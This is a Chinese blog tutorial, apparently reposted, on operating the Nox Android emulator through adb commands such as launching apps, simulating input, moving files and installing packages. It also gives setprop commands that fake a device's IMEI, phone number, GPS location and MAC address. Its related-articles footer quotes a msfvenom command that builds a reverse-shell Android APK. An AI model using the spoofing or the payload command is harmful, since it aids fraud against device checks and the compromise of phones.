adb名称操作模拟器

摘要:
由于adb不稳定,有时当出现无法解释的问题时,您可以先关闭服务器,然后启动服务器,以确保服务器进程启动。18.Adbshellam am是activitymanager此命令用于执行某些系统操作,例如启动指定的活动、结束进程、发送广播、更改屏幕属性等。调试工具。19,adbshelldumpsys公司

1、链接模拟器

  夜神模拟器的端口是规律的,第一个模拟器端口是62001,第二个模拟器端口是62025,第三个是62025+1,以此类推

  首先启动模拟器

  adb connect 127.0.0.1:62001

  adb名称操作模拟器第1张

2、查看模拟器安装的所有app包

  adb shell pm list package

  adb名称操作模拟器第2张

3、查看某个apk包的活动名

  比如查看模拟器安装的抖音的 中活动名

  打开模拟器,启动抖音,连上模拟器 adb connect 127.0.0.1:62001

  在命令行输入:adb logcat | find "START"

  adb名称操作模拟器第3张

  com.ss.android.ugc.aweme/.splash.SplashActivity即为活动名

  

4、启动抖音

  adb shell am start -n 包名/Activity类名

  找到抖音的活动名com.ss.android.ugc.aweme/.splash.SplashActivity后,启动

 首先需要打开模拟器,才能启动模拟器上的抖音

 adb shell am start -n com.ss.android.ugc.aweme/.splash.SplashActivity

 adb名称操作模拟器第4张

5、点击app界面上某一点

  获取坐标,如下图:坐标X:191 Y:809

 命令:adb shell input tap 191 809

 adb名称操作模拟器第5张

 adb名称操作模拟器第6张

 5、常用adb操作

  1、如何把电脑上的文件或文件夹传到模拟器里面?

  adb push D:/sex.avi /mnt/avi/

  2、如何把模拟器里面的文件或文件夹传到电脑上?

  adb pull /mnt/avi/sex.avi D:/avi/

  3、安装APK

  adb install d:\qq.apk

  4、卸载APK

  adb uninstall 包名

  比如卸载QQ:adb uninstall com.tencent.mobileqq

  5、PM包命令

  1)获取模拟器所有包名

  adb shell pm list packages

  2)获取模拟器所有包名并且包括APK路径

  adb shell pm list packages -f

  3)获取包名对应的APK路径

  adb shell pm path packageName

  4)清理应用数据

  adb shell pm clear packageName

  6、启动应用

  adb shell am start -n 包名/Activity类名

  例子:启动应用宝:

  adb shell am start -n com.tencent.android.qqdownloader/com.tencent.assistant.activity.SplashActivity

  指定模拟器启动动应用宝:

  adb -s 127.0.0.1:5555 shell am start -n com.tencent.android.qqdownloader/com.tencent.assistant.activity.SplashActivity

   7、关闭应用

  adb shell am force-stop 包名

  8、模拟输入

  adb shell input text 字符串(不支持中文)

  9、模拟按键

  adb shell input keyevent 键值

  10、模拟鼠标点击

  adb shell input tap X Y

  11、模拟鼠标滑动

  adb shell input swipe X1 Y1 X2 Y2

   12、截屏

  adb shell screencap -p /sdcard/screencap.png

  13、设置手机IMEI/IMSI/手机号/SIM卡序列号

  adb shell setprop persist.nox.modem.imei 352462010682470

  adb shell setprop persist.nox.modem.imsi 460000000000000

  adb shell setprop persist.nox.modem.phonumber 15605569000

  adb shell setprop persist.nox.modem.serial 89860000000000000000

  14、nox_adb shell进去然后执行下面的命令修改经纬度

    setprop persist.nox.gps.latitude xxx

    setprop persist.nox.gps.longitude xxx

  15、修改mac地址

    setprop persist.nox.wifimac xxx                  修改mac地址

    setprop persist.nox.modem.phonumber 138111111111         手机号,生成一个随机11位数字

    setprop persist.nox.model ABC001                  手机型号,英文加数字随机

    setprop persist.nox.manufacturer XiaoMi               手机制造商英文随机

    setprop persist.nox.brand Mi                    手机品牌英文随机

  16、adb logcat

    adb名称操作模拟器第7张

  17、adb start/kill-server

    启动/杀死adb简介中提到的Server端进程。

    由于adb并不稳定, 有时候莫名的问题掉线时, 可以先kill-server, 然后start-server来确保Server进程启动。往往可以解决问题。

  18、adb shell am

    am即activity manager.
    该命令用来执行一些系统动作, 例如启动指定activity, 结束进程, 发送广播, 更改屏幕属性等. 调试利器.


  19、adb shell dumpsys

  adb名称操作模拟器第8张

免责声明:文章转载自《adb名称操作模拟器》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇UDP 单播、广播、多播Mongodb查询下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

如何过滤 adb logcat 输出

对原作者表示感谢,转自博客:http://www.otechu.me/zh/2011/12/filtering-adb-logcat-output/ 本文介绍如何在shell 命令行中过滤 adb logcat 输出的几个小技巧。 开发当中经常看到别人的 log 如洪水般瞬间刷满了屏幕,对自己有用的信息都被淹没了,影响心情也影响效率。下面是几个我所知道的过...

利用Metasploit攻击Android

首先我在Kali下生成一个Android的应用程序,即apk格式的文件,用到的命令是: msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip LPORT=监听端口 R > /root/rb.apk 注释:-p:指的是在本次环境中攻击所使用的payload,这个payload就是将Android攻...

破解APK注入代码大揭秘

点此了解详细的APK破解及二次打包过程揭秘: http://t.cn/RzEn7UK   【HACK】破解APK并注入自己的代码 会破解是你的本事,但是请不要去干坏事! 使用工具: APKTool 提醒:能够正常安装到手机上的APK都是带有签名的(不了解签名的可以百度),APK在破解重新打包后是已经不再拥有签名的,如果想要你破解后的APK能够正常运行请...

ADB常用命令(一)

转自:https://blog.csdn.net/qq_26552691/article/details/81348222 一.操作前请确认电脑上已配置好ADB环境。可在CMD命令行输入adb,如果出现如下提示,说明已配置好。 二.下面,我们可以进行一些ADB常用命令的操作。 1.在命令行输入:adb start-server 或者adb shell,来启...

【转】Android APK的数字签名的作用和意义

1. 什么是数字签名? 数字签名就是为你的程序打上一种标记,来作为你自己的标识,当别人看到签名的时候会知道它是与你相关的     2. 为什么要数字签名? 最简单直接的回答: 系统要求的。  Android系统要求每一个Android应用程序必须要经过数字签名才能够安装到系统中,也就是说如果一个Android应用程序没有经过数字签名,是没有...

常用adb命令总结

前言 很早就想整理一下自己平时常用的一些adb命令,不仅为了便于以后查找,而且整理的过程自己又重新复习了一遍,但是当我开始在度娘一搜的时候,发现很多人已经写的非常详细了,尤其是当我发现了这篇adb概括 心中一句NND,怎么可以写的这么详细,瞬间没了想写这篇文章的欲望,如果你点了链接发现确实很全,那么恭喜你可以关掉这篇了,哈哈哈。 我就不这么想的,虽然很全,...